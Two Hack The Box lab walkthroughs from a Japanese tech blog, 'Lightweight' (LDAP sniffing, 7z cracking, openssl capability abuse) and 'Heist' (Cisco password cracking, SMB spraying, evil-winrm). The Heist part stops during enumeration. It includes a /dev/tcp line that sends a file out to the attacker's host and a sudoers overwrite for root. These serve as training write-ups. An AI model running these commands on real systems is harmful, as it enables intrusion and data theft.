Paichan 技術メモブログ

日々の活動を記録する場所

【Hack The Box】Lightweight Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn -p 1-10000 10.10.10.119
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 00:39 JST
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.26s latency).
Not shown: 9997 filtered ports
PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)
|   256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)
|_  256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: Lightweight slider evaluation page - slendr
389/tcp open   ldap    OpenLDAP 2.2.X - 2.3.X
| ssl-cert: Subject: commonName=lightweight.htb
| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain
| Not valid before: 2018-06-09T13:32:51
|_Not valid after:  2019-06-09T13:32:51
|_ssl-date: TLS randomness does not represent time

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 707.93 seconds

22(ssh)、80(http)、389(ldap)が開いている。
389ポートのLDAP通信は平文。636だと暗号化通信LDAPS。
問題タイトルもlightweightなので、LDAPに関する問題だと思われる。

80番ポート(http)の調査

トップページ

ブルートフォース対策がされているらしい。 f:id:Paichan:20201121234650p:plain

info

ブルートフォースを検知すると、5分間アクセスできなくなるとのことなので、ディレクトリスキャンはやめておく。 f:id:Paichan:20201121234739p:plain

status

banされているかどうか、ステータスが見れるページ。(ロードがかなり遅い(★これがそれなりに重要)) f:id:Paichan:20201121234817p:plain

user

ユーザ名、パスワードともに自分のIPアドレスssh接続できると記載がある。 f:id:Paichan:20201121234842p:plain

ssh接続

webページに記載のある通り、自分のIPアドレスでログイン。 ldapuser1ldapuser2がいる。ディレクトリの中は見れないが、どちらかにuser.txtがあると思われる。

root@kali:~# ssh 10.10.14.33@10.10.10.119
10.10.14.33@10.10.10.119's password: 
[10.10.14.33@lightweight ~]$ id
uid=1003(10.10.14.33) gid=1003(10.10.14.33) groups=1003(10.10.14.33) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[10.10.14.33@lightweight ~]$ ls -l /home
total 0
drwx------. 4 10.10.14.2  10.10.14.2   91 Nov 16  2018 10.10.14.2
drwx------. 4 10.10.14.33 10.10.14.33  91 Oct 31 16:17 10.10.14.33
drwx------. 4 ldapuser1   ldapuser1   181 Jun 15  2018 ldapuser1
drwx------. 4 ldapuser2   ldapuser2   197 Jun 21  2018 ldapuser2

capabilityを調べる

getcapコマンドで、/usr/bin/usr/sbinのcapabilityを調査。

[10.10.14.33@lightweight ~]$ getcap -r /usr/bin, /usr/sbin
/usr/bin, (No such file or directory)
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

tcpdumpでの通信キャプチャ

capabilityの調査で見つけたtcpdumpを使用する。
status.phpのロードが遅いことから、裏でldapの通信が走っている可能性がある。
status.phpが読み込めたくらいのタイミングで389ポートに関する通信が出力され、その中の一部にldapuser2のパスワードが見つかる。暗号化通信ではない389ポートだから平文で見つかる。

[10.10.14.33@lightweight ~]$ tcpdump -i any port 389 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes
(snip)
w....XI...Pt.....)......
.O.<.O.<0Y...`T....-uid=ldapuser2,ou=People,dc=lightweight,dc=htb. 8bc8251332abe1d7f105d3e53ad39ac2................
16:50:58.420116 IP lightweight.htb.ldap > lightweight.htb.39852: Flags [.], ack 92, win 683, options [nop,nop,TS val 5210940 ecr 5210940], length 0
E..4..@.@...
(snip)

(おまけ)wiresharkでも見てみる

ターゲットマシンからローカルに持ってきて、wiresharkで起動。

root@kali:~/lightweight# scp 10.10.14.33@10.10.10.119:/home/10.10.14.33/ldap.pcap .
root@kali:~/lightweight# wireshark ldap.pcap &

bindRequest(LDAPサーバでのユーザ認証リクエスト)でパスワードが平文で見えている。 f:id:Paichan:20201121235906p:plain

user.txtゲット

tcpdumpを使って見つけたパスワードでldapuser2になり、user.txtをゲット。

[10.10.14.33@lightweight ~]$ su ldapuser2
Password: 
[ldapuser2@lightweight 10.10.14.33]$ id
uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ldapuser2@lightweight 10.10.14.33]$ cd /home/ldapuser2
[ldapuser2@lightweight ~]$ ls
backup.7z  OpenLDAP-Admin-Guide.pdf  OpenLdap.pdf  user.txt
[ldapuser2@lightweight ~]$ cat user.txt 

backup.7z発見

user.txtと同じディレクトリにbackup.7zがある。

[ldapuser2@lightweight ~]$ ls -l
total 1868
-rw-r--r--. 1 root      root         3411 Jun 14  2018 backup.7z
-rw-rw-r--. 1 ldapuser2 ldapuser2 1520530 Jun 13  2018 OpenLDAP-Admin-Guide.pdf
-rw-rw-r--. 1 ldapuser2 ldapuser2  379983 Jun 13  2018 OpenLdap.pdf
-rw-r--r--. 1 root      root           33 Jun 15  2018 user.txt

ローカルにデータ移動

scpで移動させようとしたが、ldapuser2ではssh接続できない&ローカル(kali)はsshポートを開けていないので、別の方法と使う。

方法1:base64エンコードして移動する。

[ldapuser2@lightweight ~]$ base64 backup.7z
N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI
(snip)
[ldapuser2@lightweight ~]$ 

方法2:ncを使う

・送信側

[ldapuser2@lightweight ~]$ cat backup.7z > /dev/tcp/10.10.14.33/1234

・受信側

root@kali:~/lightweight# nc -lvp 1234 > backup.7z
listening on [any] 1234 ...
connect to [10.10.14.33] from lightweight.htb [10.10.10.119] 37654

backup.7z解凍

方法1の方法で移動してきたデータをbase64デコードし、7zで解凍を試みるが、パスワードが必要。

root@kali:~/lightweight# base64 -d data > backup.7z
root@kali:~/lightweight# 7z x backup.7z 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz (806EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3411 bytes (4 KiB)

Extracting archive: backup.7z
--
Path = backup.7z
Type = 7z
Physical Size = 3411
Headers Size = 259
Method = LZMA2:12k 7zAES
Solid = +
Blocks = 1

    
Enter password (will not be echoed):

パスワードクラック

johnで解析するため、7z2john使おうとしたが、エラーでた。

root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash
Can't locate Compress/Raw/Lzma.pm in @INC (you may need to install the Compress::Raw::Lzma module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.30.3 /usr/local/share/perl/5.30.3 /usr/lib/x86_64-linux-gnu/perl5/5.30 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.30 /usr/share/perl/5.30 /usr/local/lib/site_perl) at /usr/share/john/7z2john.pl line 6.
BEGIN failed--compilation aborted at /usr/share/john/7z2john.pl line 6.

以下を実行することで解決した。

root@kali:~/lightweight# apt install libcompress-raw-lzma-perl

パスワードゲット。

root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash
root@kali:~/lightweight# cat hash 
backup.7z:$7z$2$19$0$$8$11e96ba400e3926d0000000000000000$1800843918$3152$3140$1ed4a64a2e9a8bc76c59d8160d3bc3bbfd995ce02cf430ea41949ff4d745f6bf3ed238e9f06e98da3446dda53df0abf11902852e4b2a4e32e0b0f12b33af40d351b2140d6266db1a3d66e1c82fa9d516556ec893ba6841f052618ad210593b9975307b98db7e853e3ebfbef6856039647a6ad33a63f5b268fc003c39eba04484bef
(snip)
root@kali:~/lightweight# john -w:/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 12 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
delete           (backup.7z)
1g 0:00:00:35 DONE (2020-11-01 03:03) 0.02783g/s 57.44p/s 57.44c/s 57.44C/s slimshady..aries
Use the "--show" option to display all of the cracked passwords reliably
Session completed

このパスワードを使うと、backup.7zからindex.phpinfo.phpstatus.phpuser.phpが解凍される。
status.phpにldapuser1のパスワードがハードコードされていた。

root@kali:~/lightweight# cat status.php 
(snip)
$username = 'ldapuser1';
$password = 'f3ca9d298a553da117442deeb6fa932d';

このパスワードを使って、ldapuser1になる。

[ldapuser2@lightweight ~]$ su ldapuser1
Password: 
[ldapuser1@lightweight ldapuser2]$ id
uid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

capabilityを調べる

先ほどと同様にcapabilityを調べたところ、/home/ldapuser1/opensslがepで設定されていることが分かった。

[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/mtr = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep
/home/ldapuser1/openssl =ep

root.txtゲット

opensslでファイルを読むコマンドを実行し、root.txtゲット。 参考:https://gtfobins.github.io/gtfobins/openssl/

[ldapuser1@lightweight ~]$ ./openssl base64 -in "/root/root.txt" | base64 -d

(おまけ)rootシェルをゲットしたい場合

/etc/sudoersを上書きし、10.10.14.33ユーザ(自分)にsudoでの任意コマンドの実行権限を付与する。 参考:https://gtfobins.github.io/gtfobins/openssl/

[ldapuser1@lightweight ~]$ echo -ne "root\tALL=(ALL:ALL) ALL\n\"10.10.14.33\"\tALL=(ALL:ALL) ALL\n" > /tmp/getsudo
[ldapuser1@lightweight ~]$ ./openssl enc -in /tmp/getsudo -out /etc/sudoers
[ldapuser1@lightweight ~]$ exit
exit
[10.10.14.33@lightweight ~]$ sudo su 
[sudo] password for 10.10.14.33: 
[root@lightweight 10.10.14.33]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

(おまけ)ldapsearch

namingcontextsを取得。

root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -s base namingcontexts -x
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#
#
dn:
namingContexts: dc=lightweight,dc=htb ★
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1

ユーザ名、パスワードハッシュがゲットできる。SHA512であり、今回はここから平文は取得できない。

root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -b "dc=lightweight, dc=htb" -x
# extended LDIF
#
# LDAPv3
# base <dc=lightweight, dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# lightweight.htb
dn: dc=lightweight,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: lightweight htb
dc: lightweight
# Manager, lightweight.htb
dn: cn=Manager,dc=lightweight,dc=htb
objectClass: organizationalRole
cn: Manager
description: Directory Manager
# People, lightweight.htb
dn: ou=People,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: People
# Group, lightweight.htb
dn: ou=Group,dc=lightweight,dc=htb
objectClass: organizationalUnit
ou: Group
# ldapuser1, People, lightweight.htb
dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
uid: ldapuser1
cn: ldapuser1
sn: ldapuser1
mail: ldapuser1@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R
 oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1000
gidNumber: 1000
homeDirectory: /home/ldapuser1
# ldapuser2, People, lightweight.htb
dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
uid: ldapuser2
cn: ldapuser2
sn: ldapuser2
mail: ldapuser2@lightweight.htb
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
objectClass: shadowAccount
userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms
 zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x
shadowLastChange: 17691
shadowMin: 0
shadowMax: 99999
shadowWarning: 7
loginShell: /bin/bash
uidNumber: 1001
gidNumber: 1001
homeDirectory: /home/ldapuser2
# ldapuser1, Group, lightweight.htb
dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser1
userPassword:: e2NyeXB0fXg=
gidNumber: 1000
# ldapuser2, Group, lightweight.htb
dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
objectClass: posixGroup
objectClass: top
cn: ldapuser2
userPassword:: e2NyeXB0fXg=
gidNumber: 1001
# search result
search: 2
result: 0 Success
# numResponses: 9
# numEntries: 8

(おまけ)NSE(ldap-search)

root@kali:~/lightweight# nmap --script ldap-search -p 389 10.10.10.119
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 22:09 JST
Nmap scan report for lightweight.htb (10.10.10.119)
Host is up (0.27s latency).
PORT    STATE SERVICE
389/tcp open  ldap
| ldap-search: 
|   Context: dc=lightweight,dc=htb
|     dn: dc=lightweight,dc=htb
|         objectClass: top
|         objectClass: dcObject
|         objectClass: organization
|         o: lightweight htb
|         dc: lightweight
|     dn: cn=Manager,dc=lightweight,dc=htb
|         objectClass: organizationalRole
|         cn: Manager
|         description: Directory Manager
|     dn: ou=People,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: People
|     dn: ou=Group,dc=lightweight,dc=htb
|         objectClass: organizationalUnit
|         ou: Group
|     dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser1
|         cn: ldapuser1
|         sn: ldapuser1
|         mail: ldapuser1@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1000
|         gidNumber: 1000
|         homeDirectory: /home/ldapuser1
|     dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb
|         uid: ldapuser2
|         cn: ldapuser2
|         sn: ldapuser2
|         mail: ldapuser2@lightweight.htb
|         objectClass: person
|         objectClass: organizationalPerson
|         objectClass: inetOrgPerson
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: shadowAccount
|         userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
|         shadowLastChange: 17691
|         shadowMin: 0
|         shadowMax: 99999
|         shadowWarning: 7
|         loginShell: /bin/bash
|         uidNumber: 1001
|         gidNumber: 1001
|         homeDirectory: /home/ldapuser2
|     dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser1
|         userPassword: {crypt}x
|         gidNumber: 1000
|     dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb
|         objectClass: posixGroup
|         objectClass: top
|         cn: ldapuser2
|         userPassword: {crypt}x
|_        gidNumber: 1001
Nmap done: 1 IP address (1 host up) scanned in 2.42 seconds

(おまけ)capabilityとは(メモ)

  • rootが持っている権限を小分けにし、細かくした権限をプロセスに与えられるようにする機能。その細かい権限のことをcapabilityという。
  • rootか一般ユーザかだけでなく、もっと細かい単位で権限を付与することが可能。
  • 例:ping

    • pingはパケット送信にRawソケットを使う、これを使うにはroot権限が必要。そのため、LinuxディストリビューションによってはpingにSUIDが設定されている。
    • 逆に言うと、Rawソケットを使うためだけにroot権限がほしいのに、rootが持つ権限全てをpingに渡している状況。
    • Rawソケットを使う権限(capabiliry)のみを与えるという考え。→CAP_NET_RAW
  • capabilityのリスト

  • capabilityセット
    • プロセスのcapabilityセット
    • ファイルのcapabilityセット
  • それぞれで以下のcapabilityセットが定義されている
    • Permitted(許可)
    • Inheritable(継承可能)
    • effective(実行)

【Hack The Box】Heist Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn 10.10.10.149
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-17 23:19 JST
Nmap scan report for 10.10.10.149
Host is up (0.24s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE       VERSION
80/tcp  open  http          Microsoft IIS httpd 10.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open  msrpc         Microsoft Windows RPC
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4m05s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-17T14:24:00
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.88 seconds

全部のポートにやったら他にも開いていた。

root@kali:~# nmap -p- 10.10.10.149
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-17 23:19 JST
Nmap scan report for 10.10.10.149
Host is up (0.24s latency).
Not shown: 65530 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
49669/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 284.99 seconds

80、445、5985あたりが狙い目だろう。

ブラウザで80番へアクセス

ログイン画面。 f:id:Paichan:20201109225435p:plain
右下にあるLogin as guestをすると以下のような画面。 f:id:Paichan:20201109225510p:plain Attachmentを選択すると、以下の画面。cisco routerのconfigテキストらしきもののようだ。 f:id:Paichan:20201109225537p:plain type5のパスワードハッシュ(MD5)と、type7のパスワードハッシュが計3つある(以下)。これらの平文パスワードを見つける。

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

パスワードクラック

type5のパスワード

root@kali:~/heist# echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > type5.txt
root@kali:~/heist# john --wordlist=/usr/share/wordlists/rockyou.txt type5.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent    (?)
1g 0:00:01:23 DONE (2020-09-19 20:30) 0.01199g/s 42040p/s 42040c/s 42040C/s stealthy001..steak7893
Use the "--show" option to display all of the cracked passwords reliably
Session completed

stealth1agentというパスワードを取得。

type7のパスワード

オンラインのクラッカーがあったため、以下を利用して平文を取得することに成功した。
Cisco Type 7 Reverser - PacketLife.net
rout3r:$uperP@ssword
admin:Q4)sJu\Y8qz*A3?d

445ポートの調査

smbmapを使ってみるが、認証エラー。

root@kali:~/heist# smbmap -H 10.10.10.149
[!] Authentication error on 10.10.10.149

Crackmapexecをインストール

気になっていたcrackmapexecを使う。以下の流れでインストール。
参考:https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation

# apt install -y libssl-dev libffi-dev python-dev build-essential
# git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec
# python3 setup.py install
# crackmapexec
usage: cme [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--darrell] [--verbose] {winrm,smb,mssql,ldap,ssh} ...

      ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______
     /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
    |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
    |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |
    |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
     \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|

                                         A swiss army knife for pentesting networks
                                    Forged by @byt3bl33d3r using the powah of dank memes

                                                      Version: 5.1.0dev
                                                     Codename: 3TH@n

optional arguments:
  -h, --help            show this help message and exit
  -t THREADS            set how many concurrent threads to use (default: 100)
  --timeout TIMEOUT     max timeout in seconds of each thread (default: None)
  --jitter INTERVAL     sets a random delay between each connection (default: None)
  --darrell             give Darrell a hand
  --verbose             enable verbose output

protocols:
  available protocols

  {winrm,smb,mssql,ldap,ssh}
    winrm               own stuff using WINRM
    smb                 own stuff using SMB
    mssql               own stuff using MSSQL
    ldap                own stuff using ldap
    ssh                 own stuff using SSH

Ya feelin' a bit buggy all of a sudden?

認証試行

ここまで見つけたものから以下のuser.txt、password.txtを作成。

root@kali:~/heist# cat users.txt 
rout3e
admin
Hazard
root@kali:~/heist# cat password.txt 
stealth1agent
$uperP@ssword
Q4)sJu\Y8qz*A3?d

crackmapexecでクラック。

root@kali:~/heist# crackmapexec smb 10.10.10.149 -u users.txt -p password.txt 
SMB         10.10.10.149    445    SUPPORTDESK      [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3e:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3e:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\rout3e:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE 
SMB         10.10.10.149    445    SUPPORTDESK      [+] SupportDesk\Hazard:stealth1agent 

クラックできたら止まるらしい。

探索続き

crackmapexecで見つけた認証情報を使ってsmbmapを再度実行すると、IPC$がREAD ONLYであることが確認できた。

root@kali:~/heist# smbmap -H 10.10.10.149 -u Hazard -p stealth1agent
[+] IP: 10.10.10.149:445        Name: 10.10.10.149                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC

rpcclientで接続してみる。(初めて使うから、試しながら)

root@kali:~/heist# rpcclient -U Hazard 10.10.10.149
Enter WORKGROUP\Hazard's password: 
rpcclient $> 
例えば。
rpcclient $> srvinfo
        10.10.10.149   Wk Sv NT SNT         
        platform_id     :       500
        os version      :       10.0
        server type     :       0x9003
rpcclient $> lookupnames Hazard
Hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1)
rpcclient $> lookupnames rout3r
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupnames admin
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupnames administrator
administrator S-1-5-21-4254423774-1266059056-3197185112-500 (User: 1)

特に何も・・・。

ここで、impacketツール群の一つである、lookupsid.pyを使ってユーザを列挙してみる。

root@kali:~/tools/impacket/examples# python3 lookupsid.py Hazard:stealth1agent@10.10.10.149
Impacket v0.9.22.dev1+20200629.145357.5d4ad6cc - Copyright 2020 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)

いくつかユーザが見つかる。SID1000番台のsuppor、Chase、Jasonあたりを調べる。

5985ポートの調査

evil-winrmを使う。これも初。

Evil-WinRMツールは、WinRMサービスが有効(通常は5985/tcpで応答)かつ、資格情報とアクセス許可がある場合に使用することのできるリモートシェルプログラムです。 Evil-WinRMツールを介することで、リモートのWindowsサーバーで稼働しているWinRMサービスに接続することができ、インタラクティブPowerShellを取得することができます これを使う。

参考:https://qiita.com/v_avenger/items/78b323d5e30276a20735

evil-winrmのインストール

# gem install winrm winrm-fs stringio
# git clone https://github.com/Hackplayers/evil-winrm.git

使う

ここまで見つけたユーザ名、パスワードを何パターンか試したところChaseと`Q4)sJu\Y8qz*A3?dでログイン成功。

root@kali:~/tools/evil-winrm# ./evil-winrm.rb -i 10.10.10.149 -u Chase -p "Q4)sJu\Y8qz*A3?d"

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chase\Documents> 
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Chase\Desktop> ls


    Directory: C:\Users\Chase\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/22/2019   9:08 AM            121 todo.txt
-a----        4/22/2019   9:07 AM             32 user.txt

これでuser.txtゲット。

権限昇格のための情報収集

各種ファイルの確認

user.txtと同じディレクトリにあるtodo.txtの中身は以下。

*Evil-WinRM* PS C:\Users\Chase\Desktop> cat todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.

続いて、ドキュメントルートにあるlogin.phpを見ると、ユーザ名、パスワードがハードコードされていることが確認できる。

*Evil-WinRM* PS C:\inetpub\wwwroot> cat login.php
(snip)
</body>
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
        if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
                $_SESSION['admin'] = "valid";
                header('Location: issues.php');
        }
        else
                header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
        if( $_GET['guest'] === 'true' ) {
                $_SESSION['guest'] = "valid";
                header('Location: issues.php');
        }
}


?>
</html>

オンラインサービスで試したが、91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040の平文は取得できなかった。

アプリケーションの確認

気になったのはfirefoxvmwarephpくらい。

*Evil-WinRM* PS C:\Program FIles> ls


    Directory: C:\Program FIles


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        4/21/2019   9:39 AM                Common Files
d-----        4/21/2019  11:00 AM                internet explorer
d-----        4/22/2019   6:56 AM                Mozilla Firefox
d-----        4/22/2019   6:47 AM                PHP
d-----        4/22/2019   6:46 AM                Reference Assemblies
d-----        4/22/2019   6:46 AM                runphp
d-----        8/27/2019   3:00 PM                VMware
d-r---        4/21/2019  11:00 AM                Windows Defender
d-----        4/21/2019  11:00 AM                Windows Defender Advanced Threat Protection
d-----        9/15/2018  12:49 PM                Windows Mail
d-----        4/21/2019  11:00 AM                Windows Media Player
d-----        9/15/2018  12:49 PM                Windows Multimedia Platform
d-----        9/15/2018  12:58 PM                windows nt
